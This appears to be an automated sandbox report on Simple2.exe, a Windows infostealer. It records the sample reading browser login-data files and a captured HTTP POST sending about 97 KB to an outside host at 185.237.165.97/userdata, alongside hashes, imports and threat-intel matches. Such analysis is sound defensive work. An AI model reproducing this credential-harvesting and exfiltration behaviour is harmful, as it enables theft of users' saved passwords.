HCA Information:	Successful, ratio: 100% Number of executed functions: 27 Number of non-executed functions: 21
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Simple2.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.237.165.97	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
185.237.165.97	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97/userdata
104.26.12.205	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
	lC7L7oBBMC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0wxckB4Iba.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	5q1Wm5VlqL.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	2LKVPFub8Z.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
AP-MEDIA-ASPL	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	systemConfigChecker.exe	Get hash	malicious	Unknown	Browse	185.237.165.97
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.180
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	185.237.165.180
	pjczQr2H3P.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	9TSh73ulR1.exe	Get hash	malicious	Socks5Systemz	Browse	185.237.165.53
	0o37tv6BhU.elf	Get hash	malicious	Mirai	Browse	46.149.221.189
	YZfB2vyTrR.elf	Get hash	malicious	Mirai	Browse	46.149.221.169
	pSWP8vqTi4.elf	Get hash	malicious	Mirai, Moobot	Browse	46.149.221.178

Process:	C:\Users\user\Desktop\Simple2.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.935198616893804
Encrypted:	false
SSDEEP:	24:8E5Kk89K5K889KM89LYeb89KDWD89MLFpLK+89r9H+3VS:8EUksKU8sKMsLDbsKDWDsgFdK+sF+3Y
MD5:	E157EC9E6FCE9A0736A2CE51D2EA6C8F
SHA1:	60BC99F049D030E39C0BF24F98CA229103BC738A
SHA-256:	19A2D767BDC19B9BEEF8CE463D8E47D18EB3DDBFE7851F6BDD1F7F9592D69181
SHA-512:	01208467C11D95407D9F36716CE10B915D3AE854A9E56BD3EFB68641034E637EFAA7E10648638686173D16C5FAD4090286127FFC732D9BAFE45210A6D65AACE0
Malicious:	false
Reputation:	low
Preview:	File is found: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data..File is found: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data..File not found: C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Login Data..File not found: C:\Users\user\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data..File not found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json..File is found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json.... ....... ........ ..... .. ..........

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.944817639384687
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Simple2.exe
File size:	79'872 bytes
MD5:	ed207427a25863f5524d616525943dd5
SHA1:	6b7aa5224f76b8e09d3a8eefdb299e16b37c887f
SHA256:	418b88c4cd03e7da38287324094b5af3843835d63e06fd44c0fb06903d7575b6
SHA512:	ee55d29e1a8aab196406767b84812fa428c064af8cb692b4e01a5b69ebf95462cd965e42a0d7c6ed95542e130da8fec9c25188aab84a353492f07977264ceac9
SSDEEP:	1536:SsN2HJVypWjCoZQcAkX8Uet4WTjs/U9w:rN2HDypWjCMekXBet4WPwMw
TLSH:	81734B47279904ECD2BBE37CD29A5A02D376BC05132697CF039191362FA67D0AE7EB11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A..v/..v/..v/......v/...+..v/...,..v/...*..v/......v/......v/..v.."v/...&..v/......v/...-..v/.Rich.v/.........PE..d...h..f...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000b768
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F2E668 [Tue Sep 24 16:18:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	066fb96ba163200488bf8cbd9705163e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB1A4C350B0h
dec eax
add esp, 28h
jmp 00007FB1A4C34977h
int3
int3
retn 0000h
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000194Fh]
dec eax
mov ecx, ebx
call dword ptr [0000193Eh]
call dword ptr [00001948h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [0000193Ch]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [00001930h]
test eax, eax
je 00007FB1A4C34B09h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [000090A6h]
call 00007FB1A4C34BAEh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [0000918Dh], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [0000911Dh], eax
dec eax
mov eax, dword ptr [00009176h]
dec eax
mov dword ptr [00008FE7h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [000090EBh], eax
mov dword ptr [00008FC1h], C0000409h
mov dword ptr [00008FBBh], 00000001h
mov dword ptr [00008FC5h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10dbc	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x15000	0x948	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x17000	0x10c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe7c0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xe680	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd000	0x630	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xba07	0xbc00	9b0eebbbfa76824e01521c9aec7dfe57	False	0.4793675199468085	zlib compressed data	6.10415307318274	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xd000	0x6128	0x6200	f96793aa05943a27e75f5c0f81ce41a1	False	0.3508450255102041	data	4.9758094084428075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x14000	0xda0	0x800	a1584494173fef381407b0a55fe58cdf	False	0.197265625	DOS executable (block device driver)	3.6123807981210243	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x15000	0x948	0xa00	56d1a1fb2414222ac35eeeae290fd52e	False	0.46796875	data	4.4815576012306435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x16000	0x1e0	0x200	c970c10a1e848ee974b87923ecbe6a2f	False	0.525390625	data	4.706155132693063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x17000	0x10c	0x200	229d40605aa4496585f934aa5d939a3a	False	0.421875	data	3.2433320779278194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x16060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetFileAttributesW, GetLocaleInfoA, OpenProcess, GetTimeZoneInformation, GetLastError, CloseHandle, K32GetModuleBaseNameA, GetSystemInfo, K32EnumProcesses, GlobalMemoryStatusEx, GetConsoleWindow, K32EnumProcessModules, GetDiskFreeSpaceExA, FindClose, InitializeSListHead, GetSystemTimeAsFileTime, GetEnvironmentVariableW, FindNextFileW, FindFirstFileW, GetLogicalDrives, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, RtlLookupFunctionEntry, GetModuleFileNameA, GetCurrentThreadId, RtlCaptureContext
USER32.dll	ShowWindow
ADVAPI32.dll	RegGetValueA, RegCloseKey, RegOpenKeyExA
MSVCP140.dll	?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A, ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEB_W_J@Z, ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z, ?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z, ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z, ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z, ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z, ?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z, ?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ, ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?good@ios_base@std@@QEBA_NXZ, ??7ios_base@std@@QEBA_NXZ, ??1?$codecvt@_WDU_Mbstatet@@@std@@MEAA@XZ, ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z, ?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z, ?in@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z, ?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UEAAXXZ, ??Bid@locale@std@@QEAA_KXZ, ?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ??0_Lockit@std@@QEAA@H@Z, ??1_Lockit@std@@QEAA@XZ, ?_Xlength_error@std@@YAXPEBD@Z
IPHLPAPI.DLL	GetAdaptersInfo
NETAPI32.dll	NetApiBufferFree, NetUserEnum, NetGetJoinInformation
WINHTTP.dll	WinHttpQueryDataAvailable, WinHttpConnect, WinHttpSendRequest, WinHttpCloseHandle, WinHttpOpenRequest, WinHttpReadData, WinHttpQueryHeaders, WinHttpOpen, WinHttpReceiveResponse
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__C_specific_handler, _CxxThrowException, memset, __current_exception, __std_terminate, __std_exception_copy, memcpy, memcmp, memchr, memmove, __current_exception_context, __std_exception_destroy
api-ms-win-crt-stdio-l1-1-0.dll	fread, fsetpos, ungetc, _fseeki64, _get_stream_buffer_pointers, setvbuf, fgetpos, fwrite, fflush, __p__commode, fputc, fgetc, fclose, _set_fmode
api-ms-win-crt-heap-l1-1-0.dll	free, malloc, _set_new_mode, _callnewh
api-ms-win-crt-string-l1-1-0.dll	isalnum
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file, _unlock_file
api-ms-win-crt-runtime-l1-1-0.dll	_get_initial_narrow_environment, _initterm, _initterm_e, _cexit, _exit, __p___argc, __p___argv, _c_exit, _register_thread_local_exe_atexit_callback, _crt_atexit, _register_onexit_function, _seh_filter_exe, _initialize_onexit_table, _initialize_narrow_environment, _configure_narrow_argv, _set_app_type, exit, terminate, _invalid_parameter_noinfo_noreturn
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:15:10.013108969 CET	49704	80	192.168.2.5	104.26.12.205
Dec 6, 2024 11:15:10.132997036 CET	80	49704	104.26.12.205	192.168.2.5
Dec 6, 2024 11:15:10.133088112 CET	49704	80	192.168.2.5	104.26.12.205
Dec 6, 2024 11:15:10.133362055 CET	49704	80	192.168.2.5	104.26.12.205
Dec 6, 2024 11:15:10.253019094 CET	80	49704	104.26.12.205	192.168.2.5
Dec 6, 2024 11:15:11.248678923 CET	80	49704	104.26.12.205	192.168.2.5
Dec 6, 2024 11:15:11.295167923 CET	49704	80	192.168.2.5	104.26.12.205
Dec 6, 2024 11:15:11.902643919 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.022711992 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.022876024 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.023067951 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.023189068 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143224001 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143285990 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143379927 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143388033 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143399000 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143428087 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143451929 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143469095 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143484116 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143500090 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143527985 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143681049 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143692970 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143752098 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.143807888 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143819094 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.143873930 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.263375044 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.263405085 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.263427973 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.263437033 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.263459921 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.263478041 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.263560057 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.304400921 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.304590940 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.424523115 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.424634933 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.468523979 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.588423014 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.588629007 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:12.796613932 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:12.796741009 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:13.048511028 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:13.048595905 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:13.296626091 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:13.296710968 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:13.548397064 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:13.548537970 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:13.792480946 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:13.792666912 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:14.040472031 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:14.040672064 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:15:14.171266079 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:15:41.356002092 CET	49704	80	192.168.2.5	104.26.12.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:15:09.805402040 CET	58249	53	192.168.2.5	1.1.1.1
Dec 6, 2024 11:15:10.006465912 CET	53	58249	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 11:15:09.805402040 CET	192.168.2.5	1.1.1.1	0xeaf9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 11:15:10.006465912 CET	1.1.1.1	192.168.2.5	0xeaf9	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:15:10.006465912 CET	1.1.1.1	192.168.2.5	0xeaf9	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:15:10.006465912 CET	1.1.1.1	192.168.2.5	0xeaf9	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

185.237.165.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.26.12.205	80	1520	C:\Users\user\Desktop\Simple2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:15:10.133362055 CET	88	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.0 Host: api.ipify.org
Dec 6, 2024 11:15:11.248678923 CET	430	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 10:15:11 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edb836639eb4204-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2110&min_rtt=2110&rtt_var=1055&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=88&delivery_rate=0&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.237.165.97	80	1520	C:\Users\user\Desktop\Simple2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:15:12.023067951 CET	185	OUT	POST /userdata HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WebKitFormBoundary User-Agent: WinHTTP/1.0 Content-Length: 97256 Host: 185.237.165.97
